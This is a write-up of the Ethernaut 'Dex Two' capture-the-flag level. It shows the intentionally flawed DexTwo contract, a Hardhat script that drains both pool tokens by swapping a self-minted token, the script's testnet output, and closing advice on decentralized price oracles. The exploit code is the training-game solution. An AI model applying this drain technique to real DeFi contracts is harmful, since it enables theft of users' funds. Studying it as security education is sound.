Ethernaut #23 Dex Two

Dex Two

Challenge

This level will ask you to break DexTwo, a subtlely modified Dex contract from the previous level, in a different way.

You need to drain all balances of token1 and token2 from the DexTwo contract to succeed in this level.

You will still start with 10 tokens of token1 and 10 of token2. The DEX contract still starts with 100 of each token.

Things that might help:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract DexTwo is Ownable {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor() public {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

Background

This challange is very similar to the Dex challange. The difference here is that we can add an attacker controlled ERC20 token for which we control the entire supply. The way this dex is designed allows us to manipulate the price of the coins.

Attack

In order to drain both of the two tokens, we first need to create a token we control, then transfer a tiny amount to the dex so that the price of the other coins is very low compared to that token (not necessary but why not). Then we buy the other tokens using the attacker controlled token.

dex-two-solve.js

const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");

async function getDexState(dex) {
    token1Balance = await token1.balanceOf(dex.address)
    token2Balance = await token2.balanceOf(dex.address)
    token3Balance = await token3.balanceOf(dex.address)
    console.log("========   DEX   ========")
    console.log("Token1 balance: " + token1Balance)
    console.log("Token2 balance: " + token2Balance)
    console.log("Token3 balance: " + token3Balance)
    console.log("Token1->Token2: " + (token1Balance.eq(0) ? "N/A" : await dex.getSwapAmount(token1.address, token2.address, 1000) / 1000))
    console.log("Token2->Token1: " + (token2Balance.eq(0) ? "N/A" : await dex.getSwapAmount(token2.address, token1.address, 1000) / 1000))
    console.log("Token1->Token3: " + (token1Balance.eq(0) ? "N/A" : await dex.getSwapAmount(token1.address, token3.address, 1000) / 1000))
    console.log("Token3->Token1: " + (token3Balance.eq(0) ? "N/A" : await dex.getSwapAmount(token3.address, token1.address, 1000) / 1000))
    console.log("Token2->Token3: " + (token2Balance.eq(0) ? "N/A" : await dex.getSwapAmount(token2.address, token3.address, 1000) / 1000))
    console.log("Token3->Token2: " + (token3Balance.eq(0) ? "N/A" : await dex.getSwapAmount(token3.address, token2.address, 1000) / 1000))
}

async function getAccountAssets(account) {
    console.log("======== Account ========")
    console.log("Token1 balance: " + await token1.balanceOf(account.address))
    console.log("Token2 balance: " + await token2.balanceOf(account.address))
    console.log("Token3 balance: " + await token3.balanceOf(account.address))
}

async function getState(account, dex) {
    // print state
    await getAccountAssets(account)
    await getDexState(dex)
    console.log("")
}

async function approveFull(token, account) {
    // approve full token1 balance
    tokenBalance = await token.balanceOf(account.address)
    tx = await token.connect(account)['approve(address,uint256)'](contract.address, tokenBalance)
    receipt = await tx.wait()
}

async function swap(from, to, amount) {
    // swap tokens
    console.log(`Swapping ${amount} ${await from.name()} to ${await to.name()}`)
    console.log("")
    tx = await contract.connect(account).swap(from.address, to.address, amount)
    receipt = await tx.wait()
}

async function maxAmount(account, dex, from, to) {
    // calculate max amount
    amount = await from.balanceOf(account.address)
    dexToAmount = await to.balanceOf(dex.address)
    buyPotential = await dex.getSwapAmount(from.address, to.address, amount)
    if (buyPotential.gt(dexToAmount)) {
        amount = await dex.getSwapAmount(to.address, from.address, dexToAmount)
    }
    return amount
}

async function main() {
    dexAddress = "0x152455D0cf949aDa768a9100423951E0a857D1cC";
    contract = await ethers.getContractAt("DexTwo", dexAddress);

    token1Address = await contract.token1()
    token1 = await ethers.getContractAt("SwappableToken", token1Address);

    token2Address = await contract.token2()
    token2 = await ethers.getContractAt("SwappableToken", token2Address);

    const accounts = await hre.ethers.getSigners();
    account = accounts[0];

    SwappableToken = await ethers.getContractFactory("SwappableToken");
    token3 = await SwappableToken.deploy(contract.address, "Token 3", "Token 3", 1000);
    await token3.deployed();

    tx = await token3.transfer(contract.address, 1);
    receipt = tx.wait()


    console.log("Level address     : " + contract.address)
    console.log("")
    await getState(account, contract)

    // buy all token1 supply with token3
    await approveFull(token3, account)
    amount = await maxAmount(account, contract, token3, token1)
    await swap(token3, token1, amount)
    await getState(account, contract);

    // buy all token2 supply with token3
    await approveFull(token3, account)
    amount = await maxAmount(account, contract, token3, token2)
    await swap(token3, token2, amount)
    await getState(account, contract);

}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});
$ npx hardhat run scripts/dex-two-solve.js --network rinkeby
Level address     : 0x152455D0cf949aDa768a9100423951E0a857D1cC

======== Account ========
Token1 balance: 10
Token2 balance: 10
Token3 balance: 1000
========   DEX   ========
Token1 balance: 100
Token2 balance: 100
Token3 balance: 0
Token1->Token2: 1
Token2->Token1: 1
Token1->Token3: 0
Token3->Token1: N/A
Token2->Token3: 0
Token3->Token2: N/A

Swapping 1 Token 3 to Token 1

======== Account ========
Token1 balance: 110
Token2 balance: 10
Token3 balance: 998
========   DEX   ========
Token1 balance: 0
Token2 balance: 100
Token3 balance: 2
Token1->Token2: N/A
Token2->Token1: 0
Token1->Token3: N/A
Token3->Token1: 0
Token2->Token3: 0.02
Token3->Token2: 50

Swapping 2 Token 3 to Token 2

======== Account ========
Token1 balance: 110
Token2 balance: 110
Token3 balance: 996
========   DEX   ========
Token1 balance: 0
Token2 balance: 0
Token3 balance: 4
Token1->Token2: N/A
Token2->Token1: N/A
Token1->Token3: N/A
Token3->Token1: 0
Token2->Token3: N/A
Token3->Token2: 0

Success Message

The integer math portion aside, getting prices or any sort of data from any single source is a massive attack vector in smart contracts.

You can clearly see from this example, that someone with a lot of capital could manipulate the price in one fell swoop, and cause any applications relying on it to use the the wrong price.

The exchange itself is decentralized, but the price of the asset is centralized, since it comes from 1 dex. This is why we need oracles. Oracles are ways to get data into and out of smart contracts. We should be getting our data from multiple independent decentralized sources, otherwise we can run this risk.

Chainlink Data Feeds are a secure, reliable, way to get decentralized data into your smart contracts. They have a vast library of many different sources, and also offer secure randomness, ability to make any API call, modular oracle network creation, upkeep, actions, and maintainance, and unlimited customization.

Uniswap TWAP Oracles relies on a time weighted price model called TWAP. While the design can be attractive, this protocol heavily depends on the liquidity of the DEX protocol, and if this is too low, prices can be easily manipulated.

Here is an example of getting data from a Chainlink data feed (on the kovan testnet):

pragma solidity ^0.6.7;

import "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";

contract PriceConsumerV3 {

    AggregatorV3Interface internal priceFeed;

    /**
     * Network: Kovan
     * Aggregator: ETH/USD
     * Address: 0x9326BFA02ADD2366b30bacB125260Af641031331
     */
    constructor() public {
        priceFeed = AggregatorV3Interface(0x9326BFA02ADD2366b30bacB125260Af641031331);
    }

    /**
     * Returns the latest price
     */
    function getLatestPrice() public view returns (int) {
        (
            uint80 roundID, 
            int price,
            uint startedAt,
            uint timeStamp,
            uint80 answeredInRound
        ) = priceFeed.latestRoundData();
        return price;
    }
}

Try it on Remix